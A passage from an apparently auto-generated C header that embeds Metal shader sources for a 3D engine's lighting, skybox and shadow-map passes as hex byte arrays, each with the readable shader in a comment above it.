0x32,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x36,0x20,0x3d,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,
0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x33,0x31,0x20,0x3d,0x20,0x61,0x74,
0x74,0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x31,0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x69,0x66,0x20,
0x28,0x5f,0x34,0x33,0x31,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x34,0x36,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x34,0x35,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x20,0x3d,0x20,0x5f,0x33,0x39,0x39,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x20,0x3d,0x20,0x5f,
0x33,0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x39,
0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x28,
0x28,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x73,0x70,0x65,0x63,
0x75,0x6c,0x61,0x72,0x20,0x2a,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,
0x74,0x32,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x29,0x20,0x2a,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x2c,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x39,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x5f,0x33,0x32,0x34,0x20,0x2a,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,
0x69,0x67,0x68,0x74,0x32,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x29,0x20,0x2a,
0x20,0x5f,0x34,0x30,0x39,0x29,0x29,0x20,0x2a,0x20,0x5f,0x34,0x33,0x31,0x29,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,0x7d,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x34,0x36,0x32,0x20,0x3d,0x20,0x74,0x6f,
0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,0x72,0x64,0x28,0x74,
0x6f,0x74,0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,
0x20,0x3d,0x20,0x5f,0x34,0x36,0x32,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,
0x2e,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x28,0x5f,0x34,0x36,0x32,0x2c,0x20,0x5f,0x33,0x31,0x34,0x2e,
0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,
0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_skybox_params
{
float4x4 uModelViewProjection;
};
struct main0_out
{
float3 vTexCoord [[user(locn0)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
};
#line 19 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_skybox_params& _22 [[buffer(0)]])
{
main0_out out = {};
#line 19 "src/ek/scenex/3d/render3d.glsl"
out.vTexCoord = in.aPosition.xzy;
#line 20 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = (_22.uModelViewProjection * float4(in.aPosition, 1.0)).xyww;
return out;
}
*/
static const char vs_skybox_source_metal_macos[684] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,
0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,
0x69,0x6f,0x6e,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,
0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,
0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x30,0x29,
0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,
0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,
0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,
0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,0x73,
0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x32,
0x32,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x29,
0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,
0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x31,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x2e,0x78,0x7a,0x79,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x32,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x28,0x5f,0x32,0x32,0x2e,
0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x69,0x6e,
0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,
0x29,0x2e,0x78,0x79,0x77,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,
0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct main0_out
{
float4 fragColor [[color(0)]];
};
struct main0_in
{
float3 vTexCoord [[user(locn0)]];
};
#line 12 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]], texturecube<float> imageSkybox [[texture(0)]], sampler imageSkyboxSmplr [[sampler(0)]])
{
main0_out out = {};
#line 12 "src/ek/scenex/3d/render3d.glsl"
out.fragColor = imageSkybox.sample(imageSkyboxSmplr, in.vTexCoord);
return out;
}
*/
static const char fs_skybox_source_metal_macos[531] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,
0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,
0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,
0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,
0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,
0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x31,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,0x67,0x6d,0x65,0x6e,0x74,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,
0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,
0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x2c,0x20,0x74,0x65,0x78,0x74,0x75,
0x72,0x65,0x63,0x75,0x62,0x65,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,0x20,0x69,0x6d,
0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x20,0x5b,0x5b,0x74,0x65,0x78,0x74,
0x75,0x72,0x65,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,
0x72,0x20,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x53,0x6d,0x70,
0x6c,0x72,0x20,0x5b,0x5b,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x28,0x30,0x29,0x5d,
0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,
0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x66,
0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x69,0x6d,0x61,0x67,0x65,
0x53,0x6b,0x79,0x62,0x6f,0x78,0x2e,0x73,0x61,0x6d,0x70,0x6c,0x65,0x28,0x69,0x6d,
0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,
0x69,0x6e,0x2e,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,
0x0a,0x0a,0x00,
};
#endif /* SOKOL_METAL */
#if defined(SOKOL_METAL)
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_shadow_map_params
{
float4x4 uModelViewProjection;
};
struct main0_out
{
float2 projZW [[user(locn0)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
};
#line 18 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_shadow_map_params& _21 [[buffer(0)]])
{
main0_out out = {};
#line 18 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = _21.uModelViewProjection * float4(in.aPosition, 1.0);
out.projZW = out.gl_Position.zw;
return out;
}
*/
static const char vs_shadow_map_source_metal_ios[639] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,
0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,
0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,
0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,
0x57,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,
0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,
0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,
0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,
0x6f,0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x30,
0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,
0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x26,0x20,0x5f,0x32,0x31,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,
0x30,0x29,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,
0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,
0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,
0x5f,0x32,0x31,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,
0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x28,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,
0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x70,0x72,
0x6f,0x6a,0x5a,0x57,0x20,0x3d,0x20,0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,
0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x7a,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#pragma clang diagnostic ignored "-Wmissing-prototypes"
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct main0_out
{
float4 fragColor [[color(0)]];
};
struct main0_in
{
float2 projZW [[user(locn0)]];
};
#line 10 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float4 encodeDepth(thread const float& v)
{
#line 10 "src/ek/scenex/3d/render3d.glsl"
float4 _25 = fract(float4(1.0, 255.0, 65025.0, 16581375.0) * v);
return _25 - (_25.yzww * float4(0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0));
}
#line 17 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]])
{
main0_out out = {};
#line 17 "src/ek/scenex/3d/render3d.glsl"
float param = in.projZW.x / in.projZW.y;
out.fragColor = encodeDepth(param);
return out;
}
*/
static const char fs_shadow_map_source_metal_ios[903] = {
0x23,0x70,0x72,0x61,0x67,0x6d,0x61,0x20,0x63,0x6c,0x61,0x6e,0x67,0x20,0x64,0x69,
0x61,0x67,0x6e,0x6f,0x73,0x74,0x69,0x63,0x20,0x69,0x67,0x6e,0x6f,0x72,0x65,0x64,
0x20,0x22,0x2d,0x57,0x6d,0x69,0x73,0x73,0x69,0x6e,0x67,0x2d,0x70,0x72,0x6f,0x74,
0x6f,0x74,0x79,0x70,0x65,0x73,0x22,0x0a,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,
0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,
0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,
0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,
0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,
0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,
0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,
0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,
0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x5b,
0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,
0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x30,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,
0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,
0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,
0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x65,0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x74,0x68,
0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x26,0x20,0x76,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x30,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,0x35,0x20,
0x3d,0x20,0x66,0x72,0x61,0x63,0x74,0x28,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x31,
0x2e,0x30,0x2c,0x20,0x32,0x35,0x35,0x2e,0x30,0x2c,0x20,0x36,0x35,0x30,0x32,0x35,
0x2e,0x30,0x2c,0x20,0x31,0x36,0x35,0x38,0x31,0x33,0x37,0x35,0x2e,0x30,0x29,0x20,
0x2a,0x20,0x76,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x5f,0x32,0x35,0x20,0x2d,0x20,0x28,0x5f,0x32,0x35,0x2e,0x79,0x7a,0x77,0x77,
